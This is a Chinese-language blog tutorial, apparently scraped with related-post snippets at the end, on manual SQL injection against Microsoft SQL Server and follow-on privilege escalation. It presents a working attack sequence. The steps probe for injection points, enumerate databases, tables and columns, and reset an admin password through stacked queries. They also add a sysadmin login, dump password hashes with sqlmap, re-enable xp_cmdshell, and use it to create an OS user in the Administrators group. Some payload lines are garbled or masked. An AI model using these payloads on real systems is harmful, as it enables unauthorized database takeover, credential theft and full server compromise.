ms SQL手工注入,及高階操作

2021-09-28 15:31:29 字數 4086 閱讀 3239

ms sql是指微軟的sqlserver資料庫伺服器,它是乙個資料庫平台,提供資料庫的從伺服器到終端的完整的解決方案,其中資料庫伺服器部分,是乙個資料庫管理系統,用於建立、使用和維護資料庫。sql server一開始並不是微軟自己研發的產品,而是當時為了要和ibm競爭時,與sybase合作所產生的,其最早的發展者是sybase,同時微軟也和sybase合作過 sql server 4.2版本的研發,微軟亦將sql server 4.2移植到windows nt(當時為3.1版),在與sybase終止合作關係後,自力開發出sql server 6.0版,往後的sql server即均由微軟自行研發。

所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將(惡意的)sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入(惡意)sql語句得到乙個存在安全漏洞的**上的資料庫,而不是按照設計者意圖去執行sql語句。

1、判斷是否存在注入點:

'

and 1=1 //返回正常

and 1=2 //返回錯誤

2、判斷版本號:

3、判斷當前連線資料庫的使用者:

and user>0
and  db_name(

)>0

///修改dbid值,判斷其他庫

and (select name from master.dbo.sysdatabases where dbid=1)

>0

///sysobjects為系統表

and (select top 1 name from sysobjects where xtype=

'u' and status>0)

>0

and name not in

('t_jiaozhu'

)

///加入到第六條語句最後乙個括號前,t_jiaozhu為當前表名。檢視出了t_table的表

///上圖查到sysobject表,下語句檢視除了t_jiaozhu、sysobject的表

8、判斷列名:

///以數字2為列,第幾列即為數字幾

///admin為表名

///sysobjects為sql server的系統表

///username為列名

///admin為表名

10、修改密碼:

///***x為更改後密碼

///admin為使用者名稱

;undata article.dbo.admin set password=

'***x' where username=

'admin'

;--

一、資料庫提權:1、新建資料庫使用者:

///***為新建使用者名稱

///111111為***使用者密碼

;exec master..sp_addlogin ***,111111;--

2、檢視資料庫使用者:

程式---mssqlserver---企業管理器---安全性---登入:重新整理
3、提權:

///將***使用者加入到sysadmin組

;exec master..sp_addsrvrolemember ***,sysadmin;--

4、獲取sa的口令:

///此處需使用sqlmap

sqlmap.py -u "注入點" --passwords

///更改sa的口令:

;exec master..sp_password sa,原密碼,新密碼;--

二、作業系統提權

1、新建系統使用者:

///新建***使用者,密碼為111111

;exec master..xp_cmdshell 'net user *** 111111 /add'

2、提權:

///將***使用者加入administrators組

;exec master..xp_cmdshell 'net localgroup administrators *** /add'

3、漏洞利用:

///mstsc遠端桌面連線;建立超級隱藏使用者

///ipc空連線

三、恢復xp_cmdshell

;

exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'

sql server 2005以上版本:

exec sp_configure 'show advanced options',1;

reconfigure;

exec sp_configure 'xp_cmdshell',1;

reconfigure;

mssql手工注入

mssql注入是針對於sql server資料庫的 平台 i春秋 內容 mssql手工注入 測試 www.test.com 找注入點 點選test 用資料型別轉換爆錯法 檢視版本 原因 version是mssql 的全域性變數,如果我們把它寫成這樣 and version,那個後面的mssql就會強...

學習筆記 MSSQL顯錯手工注入

和朋友一起學習,速度就是快。感謝珍惜少年時。網上很多都在長篇大論mssql顯錯手工注入,其實原理只有一小段。如下 and 查詢一段內容 1 and c c nvarchar型別 查詢一段內容的返回 會自動轉換int型別 肯定會轉換失敗。然後報錯將nvarchar型別 查詢一段內容的返回 的值顯示出來...

MSSQL注入 顯錯注入及反彈注入

前言 mssql注入攻擊是最為複雜的資料庫攻擊技術,由於該資料庫功能十分強大,儲存過程以及函式語句十分豐富,這些靈活的語句造就了新穎獨特的攻擊思路。mssql的顯錯注入操作 以聯合查詢為例 猜欄位聯合查詢 union all 猜出輸出點使用null填充 注釋只有 a 沒有 查詢系統庫 select ...